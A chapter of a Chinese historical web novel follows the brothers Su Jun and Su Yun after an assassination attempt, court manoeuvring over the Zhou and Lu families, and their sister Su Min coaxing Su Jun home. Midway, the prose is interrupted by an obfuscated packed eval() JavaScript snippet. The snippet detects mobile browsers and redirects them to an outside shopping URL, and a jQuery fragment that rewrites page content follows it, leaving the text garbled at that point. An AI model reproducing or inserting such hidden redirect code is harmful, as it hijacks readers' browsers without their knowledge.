苏骏整个人像散了架一样地睡。睡到醒来,仍气息紊乱。
宁伯按住他的肩:“二公子别动,大夫说您惊劳交加,得好好静养几日才行。”
苏骏好像不认人似的,盯了他半天,才恍惚地嘟囔了一句:“老子没病。”
便勉力撑起身,坐在床边,把头埋进掌心里醒神。
宁伯亲自去盛了碗白粥,配两样小菜端来。“来,先垫垫肚子吧。”
苏骏半晌才把手拿开,一看吃的就皱眉:“这什么?我不吃苏昀那些。”
宁伯好好地劝:“是老夫人吩咐的。您几天没怎么吃,这时候哪能碰荤腥?就吃一点,晚上还炖了您爱喝的鸡汤呢。”
说到这里,苏骏便没再推,只闷声接了碗。
也不拿勺,直接把咸菜倒进粥里,仰头一口气喝完。
“慢点,您慢些——”
粥已下肚,人倒是精神了几分。
苏骏将碗往桌上一丢,终于开口:“你在我这儿,那苏昀呢?谁管他?”
“好几个大夫围着呢,您放心。”
苏骏皱眉:“大夫知道他什么脾气?你回去,别在我这晃。”
“那不成,公子再三叮嘱,让老奴守着您呢。”
宁伯又劝,“况且那于大夫也在呢。她是最体贴的,给公子看了三年了,哪怕眉头皱一下,她都知道哪儿不对——可比老奴明白多了。您就放心……”
苏骏上下看他,终于道:“什么意思?盯着我,怕我去周家杀人?”
宁伯忙摆手:“不是不是,您想多了……”
苏骏一把火又上来了:“不是个屁!就是!……他娘的,就这么信不过我吗?”
立刻穿鞋,一边穿外衣一边恨恨道:“梨月、婢女,团头、绣阁春掌柜,都跟着轻骑营,很快就到。”又从衣襟里翻出一把纸,往桌上一拍,“还有供词、往来银数,都在这里。这不就是他要的吗?拿去——别来烦我!”
便旋风一样地摔门走了。
任凭宁伯在后面连叫了几声:“二公子!”
.
果然两日后,几个指认卢家的人证也到了建康。
连同大兴那头的刺客,人证物证俱在,大理寺连夜急审,很快就判出周、卢两家意欲挟持重臣、逼宫夺权。判词将发,却被苏昀的一纸密令按下。
“暂缓。人情复杂,宜由主上亲裁。”
大理寺只得搁笔。
建康上下亦对此案多有揣测。有人私下说,证据这么全,援兵又到得这么快,莫非苏家自导自演?也有人说,若是自导自演,何必真去挨这一刀,险些丢了性命?若真想除掉周、卢,等他们动兵逼宫方是上策。
虽有议论,终究是没一个不服的。
上下皆知,苏昀南北共治之志不改,为稳江南,心意极诚。
顾荣也登门探望,让他放心:“大人安心休养。侨郡一案,便交由老朽去推。”
顿了顿,又压低声,“江南,知道了。”
苏昀微怔,笑了一下。
撑着床沿,略略起身,便算是送客。
.
朝中局势一片倒,纷纷要求严惩周、卢。偏偏苏昀一再上请,温和处理,不能再生嫌隙。琅琊王不知他是真心还是假意,难以定夺,心中愈发烦躁。
许生替他披上晨衣,理了理发带,语声轻淡:“主上何不亲去问问?司徒病中,倒也未见避人。昨儿顾大人还去了呢……”
琅琊王沉吟片刻,便令人备了许多补品,当真亲身去了。
一进屋,便见苏昀只着中衣,正被人搀着起身,欲行大礼:“主公……”
他登时一惊,疾步上前拦住:“宴之!你这是做什么?是要叫大哥心疼死了不成?”
便亲手将人扶回床上,口中还念念有词:“快躺下,别动、别动——”
苏昀按着胸口,微喘:“无妨。”
话音刚落,忍不住咳了一声,眉心拧紧,又强自稳住。
琅琊王一时语塞,不由皱眉:“你总是这样……哪回不是说无妨?”
顿了顿,又似想掩去那点情绪,摆手道:“罢了,今日我是来看你的,不与你争这口气。”
苏昀稍抬眼,嗓音仍微哑:“主公亲至,臣万分感念。”
琅琊王看他那一身的憔悴病态,实无作伪之状,语气也不由得柔和下来:“你若真感念,就莫再为这案子劳心了。”
说着,亲手理了理他榻边案几上的卷子,语气不紧不慢:“周、卢一案,证据俱在。我以为不能姑息。抄家、流放,让江南以后再没有这两家——你看如何?”
苏昀立刻道:“主公不可。”
顿了顿,方缓声道:“臣无意替人开脱,只是若罚得太重,难免有肃清旧党之嫌。只怕朝中再起动荡,百姓难安。”
琅琊王长看了他一眼,忽而一笑,轻拍了拍他的手背:“你呀,还是太心软!被人欺了,还替他回护——别说三弟,连我这个做大哥的都看不下去啊!”
苏昀垂眼:“主公放心,阿骏那边臣自会节度。断不会再生风波。”
略顿,又抬手从几案上取出一章折子,“另外清凉山动兵一案,虽有备案在前,终究惊扰了朝局。臣思来想去,始终觉得不妥。您看——”
琅琊王接来一看,竟写的是建康兵调,即日起请改由琅琊王亲署,非王令不得擅动。
他不由一愣:“这……”
苏昀微笑:“建康安防之事,关乎根本。阿骏常不在京,兵权难免旁归。臣身弱又不通军务,还是以为该节在主公手中,方为稳妥。您以为如何?”
琅琊王静了一会儿,方慢慢地笑:“你这人哪,就是不肯歇。伤成这样,心里还装着一堆事——这身子怎么能好?”
又将折子收了,“兵权这事,不急于一时。我回去再想想。你——”
便用手指了指他,“好好休息,这几天再递折子,我是一条也不会看的啊!”
苏昀笑了一下:“是。”
似是伤口又牵动了,微蹙了眉。
琅琊王见状,便起身理了理衣袍:“好了,今天不说了。你且安心歇着。改日——我再来看你。”
苏昀颔首:“恭送主公。”
宁伯把人送了出去,回过头来,见主子正靠在床头发怔。“公子,琅琊王走了。老奴看着,神色比进来时宽了一些。”
苏昀轻轻地“嗯”了一声。
宁伯宽慰:“如今满朝归心,主上也安,您也总算可以松一松、好好养养身子了。这一刀……可真伤得不轻。”
苏昀却叹:“还差一件。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338197|199267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宁伯微愣,仍去小心地扶他躺下。“二公子那头没事——您还不知道他么?这会儿就是躲着歇口气,等缓过劲,自个儿就来了……”
.
一连十天,苏骏独自躲到郊西旧营地去,什么也不干,就是睡。
睡得晨昏颠倒。有时深夜起身,在帐边啃一口冷馒头,有时正午裹着披风睡到傍晚。
醒来的时候也只是发呆,经常盯着帐顶,半天不动。有时拿着一封信,看了半个时辰也不开封。或者手里把玩着刀柄,不知道是要磨,还是忘了在拿。
随行兵士吓得不轻,传回营里更是人人担忧不已。连张彦都耐不住,悄悄去找宁伯:“你也想想办法,再这么耗下去,人都要散了。”
宁伯只皱着眉:“我知道。”
可他兄弟两个事,从来没人插得上手。也许除了——
.
“臭二哥,起床了!”
苏敏拽着苏骏一只手,生生把人拖到了床边。因人太重,只能咬牙道,“太阳、已经,晒屁股了!”
苏骏哼了一声,挣回手,翻身背对过去:“别闹。我困得很……”
苏敏才不肯让,又去扒在他耳边喊:“今天是大哥生辰,一定要全家吃饭的。你不去,他会很伤心的——快、醒、醒!”
苏骏半睁了一只眼,又把被子扯过头顶。“去什么,见了只有烦,不去!”
苏敏无奈,又扒在被子上问:“你真不去?”
“不去。”
“哪怕大哥昨个儿闷在房里哭,说对不起你,也不去?”
“……你别瞎掰扯。”
“真的,一个人哗哗地哭,宁伯都吓得不敢进屋。说什么‘我亲手把弟弟赶走了,天打雷劈’,还说‘就是全江南都拜在脚下,没有他又有什么意思,呜呜呜’……”
苏骏终于松开了点被子:“……你是不是脑子给风吹坏了?”
苏敏愁道:“可不是吗?从你进城不回家起,就坏掉了!家里没有二哥,可怎么过呀……”
说着便作势,嘤嘤地哭了起来。
苏骏给她哭得心烦意乱,把被子一掀,坐起来吼:“有完没完了?”
苏敏一抽一抽地哭:“没有了,大哥病得要死,二哥又不肯回家,我是再也没人要、没人疼了——”
便哇哇大哭起来。
假戏真做,居然真给她挤出了几滴眼泪。
苏骏整个人都乱了:“你干什么?”
笨拙地用手给她擦了一下脸,结果越擦越多,泪珠跟断线了似的。终于两手一举,“你厉害,算你厉害!”
便起身了。
苏敏立刻就不哭了,顶着红红的眼圈凑上去,喜笑颜开:“那你就是回咯?”
哭得比谁都惨,笑得比谁都快。
苏骏不得不心叹,要让这丫头上战场,怕是振臂一哭,就能把十万大军逼得缴械投降。
“回。不吃饭,成吗?”
苏敏把头点得如鸡啄米:“成,可太成了!”
又看了看苏骏这一头鸡窝的发,皱巴巴的中衣,“我就说,二哥非常重视,理发焚香沐浴更衣去了。”
苏骏青筋暴起:“苏、小、敏!”
苏敏才不理他,嘻嘻一笑,早已蹦到门口:“那二哥待会儿见咯?不见不散哦!”